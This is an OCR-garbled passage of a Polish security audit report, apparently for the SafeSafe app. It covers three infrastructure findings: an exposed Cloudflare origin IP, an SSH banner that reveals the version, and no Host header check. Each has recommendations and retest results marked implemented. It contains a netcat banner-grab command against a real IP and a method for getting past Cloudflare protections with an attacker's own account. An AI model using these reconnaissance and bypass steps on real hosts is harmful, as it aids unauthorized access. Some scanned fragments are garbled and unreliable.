k=8 EE United States ) Content-Type: text/html
L4 A - Common Name: CloudFlare Origin Content-Length: 178
Certificate Connection: keep-alive
- Organizaton:  CloudFlare, nc. Location: https://developer. infermedica. com
Strict-Transport-Security: max-age=3153600@; includeSubDomains
Supported SSL Versions -Frame-Options: SAMEORIGIN
United States . ppol X-Frame-Options: SAMEORIGI
TLSVI, TLSV1.1, TLSV1.2, TLSVL.3 X-Con
Japan 1
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Tres¢ na stronie shodan.io prezentuje dane historyczne pochodzgce z dnia 24 kwietnia 2020,
aktualnie dostep do portow 80/443 jest zablokowany.

HTTP/1.1 301 Moved Permanently

Server: nginx

Date: Fri, 24 Apr 2020 00:26:57 GMT
Content-Type: text/html

Content-Length: 178

Connection: keep-alive

Location: https://developer.infermedica.com
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block

Na podstawie klucza publicznego SSH zapisanego w shodan.io oraz aktualnego stwierdzono, ze
serwer nalezy do safesafe.app.

LOKALIZACIA

https://www.shodan.io/host/35.198.124.103

REKOMENDACIA

Jedli polityka bezpieczenstwa zaktada ukrycie adresu IP serwera zrédtowego, zaleca sie, aby
przenies¢ serwer na inny adres IP rownoczesnie zmieniajgc klucz serwera SSH.

Wiecej informaciji:

e https://support.cloudflare.com/hc/en-us/articles/200170166-Best-Practices-DDoS-
preventative-measures

STATUS PO RETESCIE (09.07.2020)

Zalecenie zostalo wdrozone.

Aktualnie nie jest mozliwe znalezienie adresu IP howego serwera poprzez wskazane wyzej metody.
Dodatkowo, biorgc pod uwage, ze serwery majg zablokowany dostep do wszystkich portéw z
Internetu, znajomos$¢ samego adresu IP wskazanego powyzej nie wprowadza duzego ryzyka.




[IMPLEMENTED] [INFO] PROTEGO_SAFE-INFRA-002: Hardening ustugi
SSH

oriIs

Serwer SSH dostepny na serwerze zidentyfikowanym w punkcie TYTANI-INFRA-001 posiada
domysine ustawienie umozliwiajgce identyfikacje systemu (Debian 10) oraz jest skonfigurowane na
domysinym porcie SSH.

Punkt nie jest opisem podatnosci, a jedynie zaleceniem, ktérego wdrozenie moze zwiekszy¢ ogdliny
poziom bezpieczenstwa rozwigzania.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

W celu identyfikacji wersji systemu mozna uzy¢ ponizsze polecenie:

$ nc 35.198.124.103 22
SSH-2.0-0penSSH_7.9p1 Debian-10+deblou2

LOKALIZACIA

Konfiguracja serwera SSH.

REKOMENDACIA

W celu wzmocnienia bezpieczenstwa zaleca sie doda¢ do konfiguracji serwera SSH flage
ukrywajacg informacje o wersji systemu operacyjnego:

DebianBanner none

Zaleca sie rowniez przenies¢ serwer SSH na port inny niz domysiny.

STATUS PO RETESCIE (09.07.2020)

Zalecenie zostalo wdrozone.

Aktualnie do serwera SSH nie mozna bylo uzyska¢ dostepu. Wszystkie porty na testowanych
serwerach sg filtrowane.




[IMPLEMENTED] [INFO] PROTEGO_SAFE-INFRA-003: Weryfikacja
nagtéwka Host

oriIs

Serwer NGINX nie weryfikuje nagtéwka Host w przychodzacych zapytaniach. Zostat skonfigurowany
tak, ze domys$ina strona (kazdy nagtowek Host) jest réwnoznaczny z domeng api.safesafe.app.
Z tego powodu mozna zidentyfikowac IP serwera oraz wysyta¢ zapytania omijajgc zabezpieczenia
skonfigurowane w panelu Cloudflare.

Punkt nie jest opisem podatnosci, a jedynie zaleceniem, ktérego wdrozenie moze zwiekszyé ogoiny
poziom bezpieczenstwa rozwigzania.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Osoba atakujgca moze utworzy¢ konto Cloudflare i skonfigurowa¢ adres IP swojego serwera (origin
server) na adres serwera api.safesafe.app (realny adres IP). W zwigzku z tym ruch HTTP(S) do
strefy atakujgcego bedzie przekazywany do serwera api.safesafe.app z adreséw IP Cloudflare, ale
bez zastosowania ustawien Cloudflare skonfigurowanych przez administratora tej domeny.
Bezpieczenstwo dziatania Cloudflare, poza konfiguracjg firewalla na serwerze zrédtowym, w tym
przypadku opiera sie rowniez na weryfikacji nagtdwka Host na serwerze api.safasafe.app.

Ponizej umieszczono przyktad konfiguracji Cloudflare, ktéra umozliwia bezposredni dostep do
serwera zadresow IP Cloudflare oraz zastosowaniem regut dostepu ustawionych przez
atakujgcego. W przyktadzie dostep odbywa sie poprzez domene apisafe.securitum.pl.

DO0RDENOE0E0E0Ea0

A few more steps are required to complete your setup. Show

DNS management for securitum.pl

+Add record  [jie} = Advanced

Type Name Content TTL Proxy status

(@ apisafe 35.198.124.103 Proxied ) Delete

A securitum.pl Proxied Delete

CNAME autoconfig mailconfig.ovh.net Proxied Delete

LOKALIZACIA

Konfiguracja serwera api.safesafe.app.

REKOMENDACIA

W celu zabezpieczenia sie przed ruchem przechodzgcym przez Cloudflare, ale bez regut
ustawionych przez administratora, nalezy réwniez sprawdzac nagtowek hosta po stronie serwera.

STATUS PO RETESCIE (09.07.2020)




Zalecenie zostalo wdrozone.

Wprowadzono usprawnienie uniemozliwiajgce potgczenie sie bezposrednio z serwerami przy
wykorzystaniu wtasnego konta CloudFlare.



